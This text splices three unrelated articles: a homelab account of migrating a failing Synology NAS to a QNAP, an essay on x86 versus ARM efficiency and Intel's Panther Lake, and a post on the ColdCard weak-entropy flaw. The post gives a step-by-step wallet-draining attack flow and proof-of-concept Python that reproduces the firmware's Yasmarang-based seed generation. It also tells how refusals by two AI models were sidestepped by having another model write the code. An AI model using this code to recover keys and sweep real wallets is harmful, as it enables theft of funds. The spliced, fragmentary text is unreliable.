The first time, a bug of ours: a “clean” job relaunch didn’t kill anything, because the Synology’s busybox ps truncates the command line and the verification grep didn’t find the old processes. Result: 32 rsyncs running into 7 destinations, four to five writers per tree, the QNAP with its receive buffers clogged, and the cable transmitting 516 MB/s while the array read 140. After the cleanup (enumerating /proc/*/cmdline, never trusting ps again), useful throughput rose from 140 to 181 MB/s while total load collapsed.

The second time, measurement inverted common sense: with large-file trees, fewer streams were faster, because the average size of each read request tripled and the array did long sequential runs instead of jumping around.

But small-file trees are another sport. TERACHAD/Emulators has 21 TB in 3.4 million files averaging 6 MB: latency-bound work (stat, creation, metadata), not bandwidth-bound. And there aggressive parallelization worked, with one detail: the right shard is chosen by file count, not by size. A single directory, ROMS_FINAL/xbox-hdd-ready, held 995 thousand of ROMS_FINAL’s 1.59 million files, averaging 1.7 MB per file. Isolating it from the multi-gigabyte ISOs:

Between 2.8 and 3.2 times the single stream’s average throughput, on the same machine, on the same network. And there’s a beautiful reason: with the array missing a member, reads of data that doesn’t live on drive 2 don’t need it, so the extra concurrency let the other drives work while it choked.

“More parallelism” and “less parallelism” are both wrong answers as a general rule. Bandwidth-bound work splits little; latency-bound work splits a lot, and by file count. Measure before choosing.

Copying is half the work; proving is the other half

Every job that finished went through a dry-run of the same rsync, with the same excludes: zero files needing transfer means an identical destination by size and date. And even so it almost went wrong, because the verification inherited the copy’s excludes: a tree excluded from the transfer stayed excluded from its own proof. Re-running the check without excludes turned up 952 files and 191 GB missing in Downloads (exactly the batches I had set aside as “only existing copy”) and the old restic repositories, which a similar directory name on the QNAP pretended to cover: the repositories’ internal ID proved they were different ones, not copies.

There was source drift too: a tree verified as complete received 16 GB of new checkpoints on the Synology after the check, and only the final re-verification caught it. Verification has an expiration date.

And a conscious decision, recorded so nobody accuses me of hiding it: the old backup histories (about 2 TB of restic snapshots and a duplicity set from 2025) were left behind by my choice, because the new repositories on the QNAP already cover the same content from now on. Deliberate loss of history, not of data.

Closing the books: 17 rsync jobs, all exit 0, all verified, about 5.9 million byte-identical files, and the Synology shutdown only happened after every tree was proven.

)

Meanwhile, in the homelab

On the other side of the house, the marvin server, which mounts the NAS over NFS and runs the 57 containers, almost died standing up. Dead NAS plus “hard” NFS mounts plus 57 containers restarting on their own made an infinite queue of uninterruptible I/O: the machine answered ping, but sshd couldn’t complete a handshake. And every insistent SSH attempt only made it worse, because OpenSSH punishes a repetitive source by extending the ban. We knocked on the door and the door added a lock.

The way out was to stop knocking: I paused the torrents through the qBittorrent API (which kept responding), went to the physical console, disabled Docker, rebooted, and the server came back. A watchdog I didn’t even remember existed had, on its own, taken down the 14 NAS-dependent containers before any database corrupted: bitcoind’s LevelDB opened clean on the first try.

The migration itself was elegant: fstab pointed at the QNAP and the old mount points became symlinks into the new one. No docker-compose changed. Then came the QNAP NFS gotcha: permission is per client. The desktop was allowed without squash, but marvin’s writes came in as uid 1001, blocking everything that writes to the NAS. The first fix attempt still flipped the mount to read-only in the middle of the first restic backup, which survived on retries. Final configuration: read and write, no squash for anyone, tested with touch and ls -ln from each client, because “it worked on the desktop” proves nothing about the server.

)

After that it was resurrection tree by tree: each service only came up when its tree was verified on the QNAP. In two days, 57 of 57 containers back, and a brand-new restic backup running daily to the QNAP.

The new kernel took down the NVMe

In the middle of the recovery, a free scare from the server. Seven minutes after the nightly backup started, the NVMe controller vanished silently: every binary took SIGBUS, Docker and sshd died, and nothing remained recorded anywhere, because the log lives on the device that died. Not even a kernel panic: just silence.

The same workload had run fine hours earlier on kernel 7.2.6 and died on 7.2.9. Disabling APST (the NVMe’s power management) didn’t fix it: a second identical crash, a 7.2.9 regression confirmed by elimination. MicroOS is transactional and snapshot-based, so the rollback was a reboot into the 7.2.6 lineage, not a reinstall. Automatic updates were deliberately left broken on that lineage so nobody goes back to 7.2.9 unsupervised, and testing 7.2.8 waits until I can sit next to it.

A transactional operating system turns a kernel regression into a reboot. Without system snapshots, that night would have cost a lot more.

The thick provisioning scare

On the QNAP, the whole copy ran with no snapshots at all: in a bulk migration, snapshots are dead weight. With the copy done, I went to enable the ZFS snapshot schedule and got a dry error: “pool free space is not enough”. With 20 TB free.

)

Both statements were true about different things. The CHAD folder had been created as thick: out of the 100 TB quota, ZFS reserves the full 100 TB, and to snapshot a dataset with a reservation, the pool has to guarantee space to overwrite every referenced block while the snapshot pins the old copies. The math: 80 TB written plus 100 TB reserved, against 126 TB usable in the pool. It doesn’t close. And df lies on both sides, because it measures the folder against the quota, not against the pool.

The fix was converting the folder to thin, which QuTS hero does in-place, hidden on the folder’s Management screen, not in the edit dialog where “Thick” looks like static text. In thin, the number becomes a ceiling instead of a reservation: the 10 TB reservation evaporated, the pool ended up with 39 TB free, and the first snapshot came out consuming 334 KB over 79.9 TB referenced. ZFS needed almost nothing; the reservation was what demanded a 100 TB guarantee to authorize.

)

Now the QNAP has a snapshot schedule with a retention policy, as it should have had since day one:

)

)

Two footnotes for anyone building one of these. If your thin folder has an 80% alert, raise the quota for aesthetic slack, because the alert measures against the quota and not against the pool. And this QNAP’s real bottleneck is RAM: 7 GB for a 174 TB pool. QuTS hero’s official minimum is 8 GB, and sensible practice at this scale is 16 and up. The size of the ARC cache governs metadata speed, and that’s why the whole-tree sweeps during the migration were slow. A RAM upgrade is worth more than any fine-tuning.

The Synology is born again

With everything verified on the QNAP, the Synology could finally be operated on. I swapped drives 2 and 8 for new IronWolf Pros, deleted the wounded pool and recreated it from scratch, this time in SHR-2, the two-parity-drive mode, their RAID-6. The new pool came out with 100 TB, all drives healthy:

)

It goes back to work as a replica target, and no longer as a single point of failure. The QNAP stays as primary, in RAIDZ2, with 87 TB of the 126 TB used and snapshots scheduled:

)

What I take from the second half

1. Distrust silent success. HBS reported green while leaving 901 GB behind. A backup is verified against a source inventory.
2. SMART doesn’t measure slowness. The drive that nearly killed the evacuation was “healthy.” Per-drive utilization and latency tell the truth.
3. Parallelism is calibrated by measuring. Bandwidth-bound splits little, latency-bound splits a lot, and the shard is chosen by file count.
4. Verification doesn’t inherit excludes. If the proof uses the same filters as the copy, it only reaffirms the copy’s assumptions. And verify again immediately before destroying the source.
5. NFS permission is per client. Test writes from every machine that will use it.
6. Don’t hammer a dying sshd. Each attempt extends the ban. One patient attempt, or the physical console.
7. The dangerous repair comes last. The array stayed degraded and slow until the last byte was proven somewhere else; only then did rebuilding stop costing anything.

I came out of this better protected than I went in: two NASes, each with its own RAID-6, scheduled snapshots on the QNAP, daily restic, and Glacier for what’s critical. The disaster cost me a QNAP, two drives and a week. It could have cost 90 TB.

My thesis: that was true generations ago, when decoding x86 cost a relevant slice of the die. Today x86 is, in practice, a translation layer into micro-instructions — and what separates Apple, Qualcomm, and Intel was never the instruction set. Intel’s crisis was managerial and manufacturing, not architectural. Which is exactly why its comeback, now, makes sense.

What the reviews show

The Panther Lake laptops (Core Ultra series 3, launched at CES on January 5 and on sale since January 27) deliver numbers the Meteor/Arrow Lake era couldn’t dream of. Starting with battery — Dell XPS 14 2026 (Core Ultra X7 358H) versus MacBook Air 15 (M5):

The honest reading: in light use, the Dell ties or wins; under sustained load, Apple remains unbeatable. And DHH posted that his XPS 14 running Omarchy Linux gets over 16 hours of real use, with a 1.4W idle draw — Dell made a point of day-one Linux support.

On CPU, the flagship Core Ultra X9 388H against the M5 (Notebookcheck data):

Single-core remains Apple’s territory — it does the same work on a third of the energy. But in moderate multi-core, Intel caught up. Against AMD (Ryzen AI 9 465) the 388H wins across the board; against the first-gen Snapdragon X Elite too; the X2 Elite Extreme, which arrived in 2026, already handed the Windows CPU crown back to Qualcomm (+24% in single-core). Honesty above all.

On GPU, the verdict is more mixed than Intel’s marketing suggests:

Ars Technica’s summary is the fairest: “Intel’s best laptop CPU in a very long time” — with the caveat that Intel must prove this is the new normal, not an aberration.

Remember this: MacBook battery life in an x86 laptop happened — in light use. In single-core and under heavy load, Apple still sets the pace.

The belief: “to be efficient you have to be ARM”

Every programmer has heard the explanation: ARM has a simple, fixed-length, elegant instruction set. x86 is a chimera accumulated since 1978, with variable-length instructions, real mode, segmentation, decades of mess. “Therefore” ARM is inherently more efficient, and the way for anyone to reach Apple- or Qualcomm-class efficiency is to move to ARM64.

There’s truth in there: x86 does carry historical baggage, and decoding variable-length instructions is objectively more annoying than decoding fixed 32-bit ones. The error is in the conclusion. That difference mattered when decode logic occupied a significant fraction of the chip. That was a long time ago.

Remember this: the ISA difference mattered when decoding occupied a relevant fraction of the die. That ended generations ago.

x86 became a translation layer in 1995

The Pentium Pro, from November 1995, already didn’t execute x86 directly: it translated each CISC instruction into internal RISC-like micro-operations and executed those. AMD did the same with the K5 in 1996 (its “ROPs”). In other words: for thirty years, “executing x86” has meant “translate it into something else and execute the something else.” x86 is a compatibility interface, a translation layer over a RISC engine. And the numbers show how cheap that layer became:

When the micro-op cache hits, the fetch and decode hardware is literally switched off. The Hirki study’s conclusion is dry: “the x86-64 instruction set is not a major hindrance in producing an energy-efficient processor.” And the definitive academic study — Blem, Menon, and Sankaralingam, HPCA 2013, actually measuring ARM against x86 — concluded: instruction count and mix are ISA-independent to first order, performance differences come from microarchitecture, and “the energy consumption is again ISA-independent.”

Jim Keller — the guy who designed AMD’s Zen and Apple’s A4/A5 chips, someone who has lived on both sides — put it even more bluntly in an AnandTech interview: variable-length decode “isn’t dominating the die, so it doesn’t matter that much.” What limits performance today, in his words, is branch predictability and data locality.

And here’s the detail that kills the myth for good: modern ARM does the same thing. The Cortex-A77 has a micro-op cache. Samsung added one to the Exynos M5 explicitly to save fetch and decode power. Fujitsu’s A64FX — the ARM inside the Fugaku supercomputer — decodes the SVE FADDA instruction into 63 micro-ops. Sixty-three. The fantasy of “ARM is one instruction per cycle, simple and pure” hasn’t existed in any high-performance ARM for a long time.

One honest nuance before moving on: x86’s variable length really does make very wide decoders harder to build — Apple decodes up to twice as many instructions per cycle as an x86. That’s a real engineering difficulty. But you pay for it in logic area, which is cheap, not in consumption proportional to the work — which is what defines battery life.

Remember this: for thirty years, no x86 has executed x86 — everything becomes RISC-style micro-ops. The ISA became a compatibility interface.

The transistor math

To understand why the decode burden evaporated, look at the evolution:

In 2000, every block of logic was a tight budget, and x86’s mess was expensive. As transistors became infinite for all practical purposes, the decoder’s fixed cost became pocket change. Along the way, two important shifts:

• Dennard scaling died around 2005. Leakage current stopped clocks from climbing, Intel canceled Tejas in 2004, and the world went multicore. Clocks stalled in the 1-4GHz range and never left.
• Moore’s law became economics, not physics. Cost per transistor stopped falling at 28nm: a leading-edge fab today costs US$20 to 30 billion, and an ASML High-NA EUV machine costs US$350 million.

And what occupies die and consumes energy in a modern chip? Giant caches, branch predictors, dozens of execution ports, GPU, NPU, media engines. The x86 decoder doesn’t even show up in the bread line.

And history hands us the perfect empirical proof: from 2015 to 2021, Intel was stuck at 14nm — Skylake and its derivatives, six years of stagnant process from manufacturing failure. Even so, those old 14nm cores traded blows with AMD’s Zen 2, built on TSMC 7nm. If x86 were the problem, that would be impossible. The bottleneck was the fab. It was the fab all along.

Remember this: six years stuck at 14nm, and Intel still competed with TSMC 7nm chips. The bottleneck was the fab, never the ISA.

What actually makes Apple efficient

The M1 isn’t efficient “because it’s ARM.” Apple has held an ARM architectural license since the A6, in 2012: it designs its own cores from scratch, and only the instruction set is ARM’s. When AnandTech dissected the M1’s Firestorm core, the contrast with contemporary x86 was about engineering choices, not instructions:

In practice: twice the decode width, nearly twice the reorder buffer, six times the instruction cache. Add unified memory soldered into the package and a cutting-edge TSMC process. That’s aggressive microarchitecture, enormous caches, vertical integration, and a leading-edge process — all expensive, all deliberate, and none of it comes free with the ISA.

The reciprocal is also true, by the way: you can make bad ARM. The market is full of mediocre ARM. Efficiency is an engineering and process choice, not an ISA birth certificate.

Remember this: the M1 is efficient because of microarchitecture, cache, process, and vertical integration — not “because it’s ARM.”

Your favorite instructions aren’t x86 or ARM

And there’s something else almost nobody mentions in this debate: much of what a modern CPU executes doesn’t belong to either side’s “classic” instruction set. Look at what runs outside it:

• Video. On Intel, decoding lives in Quick Sync, fixed-function hardware that has existed since Sandy Bridge — a separate block with nothing to do with the x86 legacy. It’s because of it that Frandroid measured the Snapdragon X2 58% slower than Panther Lake in video export.
• Cryptography. AES-NI exists since 2010, SHA extensions since 2016 — dedicated instructions added decades after the “old x86.”
• AI and matrices. AVX-512, then AVX10, and AMX, a matrix tile accelerator. The ARM side has the equivalents: NEON, SVE, SME.

Chips and Cheese ran the perfect experiment: in the same 4K HEVC encode, an Ampere ARM took more than twelve times as long as a Zen 2 with stock ffmpeg; using NEON assembly cut the ARM time by more than 60%. The difference was never ARM versus x86 — it was well-used vector extensions versus ignored vector extensions. In the real world, the heavy lifting lives in the extensions and accelerators, and those are orthogonal to the base ISA.

Remember this: modern heavy lifting — video, crypto, AI — runs on dedicated extensions and accelerators, orthogonal to the base ISA.

The fall was managerial, not architectural

Here’s the part that convinces me completely. Look at the timeline and try to find “x86 was a fundamental limitation” anywhere in it:

• 2005-2006: Intel passes on making the iPhone’s chip — Otellini admitted the regret in his exit interview with The Atlantic: “the world would have been a lot different.” And the tragicomic detail: Intel had an ARM division (XScale) — and sold it to Marvell in 2006 for US$600 million. It wasn’t a lack of technology; it was a lack of vision.
• 2013-2021: three CEOs. Krzanich left in 2018 over an internal scandal. In came Bob Swan, a finance CFO, to run an engineering company at the most delicate moment in its history.
• 2018-2020: 10nm became a joke (Cannon Lake only in limited release) and in July 2020 Intel announced a 7nm delay — the stock dropped 16% in a day. In April 2019, it abandoned the 5G smartphone modem business; Apple bought the modem unit for US$1 billion. In November 2020, the M1.
• 2021-2024: Gelsinger returned with the IDM 2.0 plan, “five nodes in four years.” In December 2024 he was pushed into “retirement” — a board ultimatum, per Reuters and Bloomberg. The year closed with a US$18.8 billion loss, 15,000 layoffs, a suspended dividend, and Intel expelled from the Dow Jones after 25 years — replaced by Nvidia, which at that point was worth more than 30 times Intel. By October 2025, the cumulative layoff count had reached 35,500.

Nothing on that list is architecture. It’s missed products, delayed fabs, wrong decision after wrong decision. x86 was there, competent, while the company dismantled itself around it.

Remember this: the iPhone pass, the XScale sale, the broken 10nm, three CEOs, a US$18.8 billion loss — Intel’s fall was decision after decision, not an x86 limitation.

The unlikely rescue

And then 2025 happened. Lip-Bu Tan took over in March. In August, Trump demanded his head on Truth Social over China ties — and just days later, after a White House meeting, became a fan. On August 22, the US government bought 9.9% of Intel: 433.3 million shares at US$20.47, US$8.9 billion total, converting CHIPS Act grants into equity, with no board seat. SoftBank put in US$2 billion. And the surreal cherry on top: Nvidia — the same company that replaced it on the Dow — invested US$5 billion and signed a partnership to put RTX chiplets into x86 CPUs.

The financial results started showing: Q1 2026 revenue of US$13.6 billion (+7% year over year), Q2 at US$16.1 billion (+25%), seventh consecutive quarter above projections. The stock the government paid US$20.47 for reached more than six times that price in May, when Bloomberg reported talks for Intel to manufacture Apple chips — preliminary reporting, production years away, but the market went wild. Even after cooling off, the US government’s position is still worth five times what it cost. The American taxpayer is, today, a profitable Intel shareholder. Go figure.

Remember this: the US government, SoftBank, and Nvidia as shareholders, and the stock five times above the government’s entry price — Intel became a national cause, and the market bought the comeback.

The comeback, feet on the ground

Panther Lake is the first big product on 18A — RibbonFET (gate-all-around transistors) plus PowerVia (backside power delivery), coming out of Fab 52 in Chandler, Arizona. There’s delicious irony here: the flagship’s 12-core GPU tile is still manufactured by TSMC. And 18A yields (the fraction of good chips per wafer), per Tom’s Hardware, should only reach industry-standard levels in 2027 — the ramp is slow, and Ars Technica asks the right question: is this the new normal or an aberration?

But the point of this article isn’t cheerleading. It’s that Panther Lake empirically closes a debate that was theological. An x86-64 on a competitive process delivers MacBook battery life, ties the M5 in multi-core, and beats the Windows competition in several scenarios. If the ISA were the decisive factor, that would never happen, on any process. What brought Intel down was management; what brings it back is fabs and focus; and what separates Apple, Qualcomm, AMD, and Intel is microarchitecture, cache, process, and integration — exactly as Jim Keller and the literature always said.

I’m rooting for the comeback. Not out of nostalgia from someone who built PCs with Pentiums, but because the efficient-laptop market was settling into a comfortable duopoly — and a comfortable duopoly is the enemy of price and innovation. Let the fight go on.

Remember this: Panther Lake closes a theological debate: competitive x86 exists when the fab is competitive. It was never about instructions.

The didactic code in this article was generated with Kimi K3. It is worth noting that, given the same prompt, both Claude and GPT refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.

The goal is to answer, line by line, a question many people asked: “if the ColdCard stays offline, how did the bitcoins disappear?”.

Warning: the code here is educational. Running it against addresses that are not yours is a crime. Use it to understand the risk, test your own seeds in a controlled environment, and reinforce why you need to generate fresh entropy.

Summary of the previous post

Between March 2021 and the July 2026 fix, several ColdCard firmwares generated seeds from a deterministic generator instead of the hardware TRNG. The blame lies in a botched integration: the macro MICROPY_HW_ENABLE_RNG was defined as 0, but the guard in libNgU used #ifndef, which only asks whether the symbol exists. The build succeeded, the rng_get() call fell through to MicroPython’s Yasmarang software fallback, and the seed became a product of the microcontroller UID and timing registers.

For readers who do not work with hardware, here is what those acronyms mean:

• UID (Unique Identifier) is the serial number burned into the microcontroller chip at the factory. In the STM32F4 used by the ColdCard, it is 96 bits long — something like 0x4A3F B201 C847 D5E9 1234 5678. Every chip leaves the assembly line with a different UID, but it is fixed and can be read by software. If the attacker knows (or can constrain) this number, they eliminate one of the unknowns.
• RTC (Real-Time Clock) is the microcontroller’s real-time clock. In a PC, that clock is usually backed by a coin-cell battery and keeps running while the machine is off. The ColdCard has no such battery. On Mk2/Mk3 the RTC oscillator is disabled at startup, which strongly suggests that the RTC->TR and RTC->SSR registers read as zero or a static value every time the device cold-boots. On Mk4/Q/Mk5 an RTC source is configured but marked unused, and MicroPython’s RTC initialization remains disabled. In other words, “time” is not a fresh entropy source here — it is another fixed or predictable value that an attacker can profile.
• SysTick is another timer, this one inside the ARM core itself, counting at high speed — typically from 0 to 0x00FFFFFF and rolling over. When the firmware reads this counter at seed-creation time, it captures a value like 0x003D7A12. Because the RTC likely does not vary across cold boots, SysTick becomes practically the only dynamic element of the initial state. Block estimates that, by itself, it can shrink the space to ~80,000 possibilities (~16 bits).

Block’s independent analysis and Coinkite’s technical backgrounder agree on the mechanism, although they differ on impact details. Yesterday’s post has the full affected-firmware table.

The central point is: the effective entropy dropped from at least 128 bits to roughly 40 bits on the Mk3 and 72 bits (with caveats) on newer models. Forty bits are not secure. They are enumerable with cheap hardware.

The wallet does not sit “inside” the ColdCard

Before diving into the attack, repeat the basics. Bitcoin does not sit inside the device. The public blockchain contains UTXOs — transaction outputs — locked by scripts. What your wallet stores is the material to produce signatures that satisfy those scripts.

In the most common case, a native SegWit address is derived from a public key, which in turn comes from a private key, which is just an integer inside the domain of the secp256k1 curve. Whoever knows the integer can sign. Whoever does not, cannot.

That is why the ColdCard can be powered off, battery-less, inside a safe. The attacker does not need to touch it. They only need to reproduce the same integer that the device drew. With a weak RNG, that stops being impossible and becomes a small search space.

You can see any wallet on the blockchain. Just paste an address or xpub into an explorer like mempool.space. The explorer shows balance, UTXOs, and history because that data is public by design. The ColdCard, Ledger, Sparrow, Electrum — none of them “hold” your bitcoins; they only keep the keys that let you spend the UTXOs in the global ledger.

How the attacker prioritizes models

Not all models are equally easy to attack. The priority order follows the search-space size:

Why is the Mk3 the easiest? Because it has no cryptographic contribution from a secure element. The Yasmarang fallback is fully deterministic given the UID and timer state. If the attacker knows (or can constrain) those values, there is no residual secret. Coinkite estimates the effective space at about 40 bits; Block shows that, because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, SysTick alone limits the space to ~80,000 values, i.e. ~16 bits.

On Mk4/Q/Mk5 the secure-element reseed adds 32 bits. That is enough to make the attack much more expensive — but still far from the acceptable 128-bit minimum. Block also points out a source path where a caught exception during initialization can prevent the reseed, falling back to the smaller space.

A rational attacker starts with the biggest return: Mk2/Mk3 v4. Only with leftover resources do they move to Mk4/Q/Mk5.

128 bits, 40 bits, and 72 bits: what is the difference?

Bits measure the size of the search space. Each extra bit doubles the work. The difference is not small — it is exponential.

Imagine you can test 1 billion candidates per second:

Another way to picture it: 40 bits is like finding a specific leaf in a small forest. 72 bits is like finding a specific grain of sand on all the beaches on Earth. 128 bits is like finding a specific atom among the atoms of thousands of planets.

That is why 40 bits is not “slightly less secure” than 128. It is a completely different category: practical to attack with common hardware. 72 bits already demands serious resources, but still falls short of the acceptable minimum for storing value. 128 bits is the standard because, with known computing power, it cannot be beaten.

From an integer to a wallet

Below is a real example of how a number (the entropy) becomes a seed, a private key, and an address. I used 16 bytes (128 bits) just to fit on one line; the ColdCard used 32 bytes, but the idea is the same.

from embit.bip39 import mnemonic_from_bytes, mnemonic_to_seed
from embit.bip32 import HDKey
from embit.script import p2wpkh

entropy = bytes.fromhex("0123456789abcdef0123456789abcdef")  # 128 bits
mnemonic = mnemonic_from_bytes(entropy)
seed = mnemonic_to_seed(mnemonic)
root = HDKey.from_seed(seed)
key = root.derive("m/84'/0'/0'/0/0")

Output:

entropy (128 bits): 0123456789abcdef0123456789abcdef
mnemonic (12 words): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
private key (integer): 1332683685242456724974769347593961509584253593377187298409830148921683854281
address: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw

The private key is just an integer. From it, the elliptic curve computes the public key; the public key is hashed into the address. The address is what appears on the blockchain; the integer is what lets you spend.

In the ColdCard case, the integer did not have 128 bits of real randomness. It had ~40. So instead of searching for a needle in the universe, the attacker was searching for a needle in a small forest.

Real evidence on the blockchain

I am not making up numbers. The independent site coldcard-watch.vercel.app has been tracking the drains transaction by transaction and publishes the verified minimum: 1,128.6633 BTC drained from 2,334 confirmed addresses. The site itself stresses that these are verified minimums, not totals — other clusters likely exist.

It identifies two draining episodes:

• July 30, 2026, blocks 960183 to 960191 — 1,195 addresses drained.
• July 31, 2026, blocks 960345 to 960369 — 1,126 addresses drained.

The main public clusters making up that minimum include:

• bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0 — received 594.47723261 BTC in 501 outputs.
• bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3 — received ~398.476 BTC in a single transaction with 491 inputs (14edd9ee...).
• bc1q8jy96fe5lf8vfugydnte3cguk92gpev7kwtp3q — received ~89.623 BTC in a single transaction with 204 inputs (4b50d61a...).

Just these three clusters already sum to ~1,082 BTC; the remaining verified transactions bring the confirmed minimum to 1,128.6633 BTC.

The first cluster moved ~562 BTC to bc1qq85v2c926eg6pgxhwp6q7lf6cnsz80qs3fcu9r; that is the same money, not a fourth victim.

A concrete example: transaction 78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d consolidates three inputs from the same vulnerable address bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr, one of them almost 29.9 BTC. All three inputs use the same compressed public key:

037dc5356b71d0209d5d97315450166c07e7bba67d2e53c0154f5c56eb06f6970e

So three different UTXOs, same owner, same private key. The attacker found that key and signed all of them at once.

Other source addresses with large values include bc1qvshd3nv6mjjs5wtk6x5ekppakdp2trqcsdvwlf (~24.08 BTC), bc1q30363smzw6uk5n2znj65mf9432s0e3d92e3fu5 (~14.43 BTC), and bc1qgzxfgqgvnle9p6kksk35t54ycu2tx2hwau5ppw (~11.74 BTC). You can click each one and watch the UTXOs move to a consolidation address.

Bitcoin Optech issue 416 estimated losses above 1,000 BTC while the case was still unfolding; the independent tracker now confirms at least 1,128.6633 BTC stolen.

What the blockchain timeline suggests about attack order

coldcard-watch shows two distinct episodes, separated by more than 24 hours. The first happened between blocks 960183 and 960191 (July 30, around 01:10 UTC); the second between 960345 and 960369 (July 31). Within the first episode, the three large clusters (~594, ~398, and ~89 BTC) were mined in consecutive blocks — so within each wave, the sweeps were launched almost simultaneously.

This two-wave pattern fits two interpretations:

1. Same attacker, pre-computed in batches. The first wave grabs the easiest, best-funded targets; the second wave comes from a second batch of already pre-computed candidates.
2. Multiple attackers. After the flaw became public, other actors joined with their own dictionaries of likely states.

Either way, the economics of the attack favor the order in the table above. Mk2/Mk3 v4 is the best return on compute:

• ~40 bits of effective entropy ≈ 2^40 ≈ 1.1 trillion candidate states.
• On a GPU testing 1 million candidates per second (including BIP32 derivation and explorer lookup), that would take about 13 days to search exhaustively. With 100 GPUs/FPGAs, it drops to a few hours.
• Because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, as Block points out, SysTick alone shrinks the space to ~80,000 values (~16 bits), making the search trivial in seconds.

Mk4/Q/Mk5 with reseed depends on how well the fallback is known:

• If the fallback is known, only the 32 bits from the secure element remain: 2^32 ≈ 4.3 billion candidates per device, or about 1.2 hours per device at 1 million/s.
• If the fallback is completely unknown, the space rises to ~2^72, about 4.7 sextillion candidates — infeasible by brute force alone.

That is why the first wave should be dominated by Mk3. The second wave, more than a day later, may include additional batches of the same model or harder models where the attacker managed to profile the fallback. Without identifying the model behind each address, we cannot say for sure, but the difficulty order is clear.

The speed also shows the attack did not start from scratch on July 30. To search 1.1 trillion states and find hundreds of funded addresses, the attacker already had infrastructure ready or spent days or weeks pre-computing before moving the first UTXOs.

What the chain reveals about the operation

coldcard-hack.up.railway.app analyzes in detail the three waves that emptied 1,082.59 BTC in 41 minutes (blocks 960183 to 960191). Although the site warns it was compiled by an AI agent and not human-reviewed, the blockchain data is verifiable:

Notable details:

• Sorted by balance: within each wave, transactions were ordered from largest to smallest balance. That is not an accident; it is a priority queue configured in the script.
• Identical shape: all 1,195 sweeps spend every UTXO from a single source address into a single output, with no change. No manual variation.
• Uniform fee rate: median of 30.136986 sat/vB across all waves — the same script choosing the fee.
• Address types: 1,182 were native SegWit (v0_p2wpkh), 7 P2SH-wrapped, and 6 legacy. So the attack was not limited to BIP84, although most ColdCard users hold bech32.
• Funds still sitting: when the site froze its data, the ~1,082 BTC were still in the vaults, with no mixing, no peel chain, and no subsequent movement.

All of this points to a single automated operation, not 1,195 independent thefts.

How this slipped through

The same coldcard-hack.up.railway.app maps the commits that introduced the bug. The most damning facts:

• The commit that added the wrong #ifndef guard in libngu had a one-character message, changed 28 files, and did not go through a pull request.
• The First pass w/ libNgU commit, which migrated seed generation to libngu and stripped GPL code, changed 120 files and was also pushed directly, with no PR.
• The two later commits that added the 32-bit reseed and the secure-element mixing did open pull requests, but merged with zero reviews.

A critical change in the entropy-generation path went through without end-to-end review. The correct TRNG existed in the binary; the problem was that the wrong symbol got linked, and nobody wrote a test proving where the seed actually came from.

The conceptual attack flow

Before the code, the general flow:

1. Reproduce the RNG. The attacker implements Yasmarang exactly as in the firmware, including the XOR with the second Yasmarang in libNgU.
2. Enumerate plausible states. For every combination of UID, SysTick, RTC, and — on newer models — secure-element reseed, they generate the 32 bytes that the ColdCard would have produced as entropy.
3. Derive the wallet. From that entropy, compute the BIP39 mnemonic, the BIP32 seed, and the first receiving and change addresses.
4. Query the blockchain. For each derived address, ask an explorer or a local node whether a UTXO exists.
5. Stop at the match. When a derived address matches an address with balance, the attacker already has the corresponding private key.
6. Spend. With the private key, build a transaction that moves the UTXO to an address they control.

The blockchain is the oracle. Without it, the attacker would not know which state produced real money. With it, every UTXO found confirms they guessed the key.

Proof-of-concept code

The script below is didactic. It is not GPU-optimized, does not run in seconds against 40 bits, and does not handle every firmware variation. What it does is make the attack readable, function by function.

1. The broken PRNG: Yasmarang

def yasmarang_step(state):
    """state = [pad, n, d, dat]; mutates the list and returns a uint32."""
    pad, n, d, dat = state

    pad = (pad + dat + d * n) & 0xFFFFFFFF
    pad = ((pad << 3) | (pad >> 29)) & 0xFFFFFFFF
    n = pad | 2
    d = (d ^ ((pad << 31) | (pad >> 1))) & 0xFFFFFFFF
    dat = (dat ^ (pad & 0xFF) ^ ((d >> 8) & 0xFF) ^ 1) & 0xFF

    out = (pad
           ^ ((d << 5) & 0xFFFFFFFF)
           ^ (pad >> 18)
           ^ ((dat << 1) & 0xFFFFFFFF)) & 0xFFFFFFFF

    state[:] = [pad, n, d, dat]
    return out

What it does: implements the deterministic generator that was in the firmware. It is the same function anyone can copy from the MicroPython source.

State example:

>>> s = [0x0A8CE26F, 69, 233, 0]
>>> [hex(yasmarang_step(s)) for _ in range(3)]
['0x12f99f10', '0x1e0841df', '0x8f794c6c']

2. From RNG state to ColdCard entropy

def coldcard_entropy(uid_low32, systick, rtc_tr, rtc_ssr, reseed=None):
    """
    Simulates what the ColdCard did to generate the 32 entropy bytes.

    - MicroPython initializes its Yasmarang with:
        pad = UID_low32 ^ SysTick->VAL
        n   = RTC->TR
        d   = RTC->SSR
    - libNgU keeps a second Yasmarang with public constants.
    - Each 32-bit word is: chip ^ my_yasmarang().
    - On Mk4/Q/Mk5, reseed changes the libNgU 'pad' state.
    """
    mpy_state = [uid_low32 ^ systick, rtc_tr, rtc_ssr, 0]
    libngu_state = [0x0A8CE26F, 69, 233, 0]

    if reseed is not None:
        # reseed() in the firmware only overwrites yasmarang_pad
        libngu_state[0] = reseed & 0xFFFFFFFF

    # The ColdCard may make extra calls before generating the seed (health
    # check, etc.). In practice the attacker models the exact call history.
    # Here we simplify to 8 words = 32 bytes.
    words = []
    for _ in range(8):
        chip = yasmarang_step(mpy_state)
        mix = chip ^ yasmarang_step(libngu_state)
        words.append(struct.pack("<I", mix))

    return b"".join(words)

What it does: builds the initial state. The MicroPython pad is UID_low32 ^ SysTick; n and d come from the RTC. libNgU enters with public constants. Each word is the XOR of the two. That XOR does not create randomness: if both sides are reproducible, so is the result.

Example:

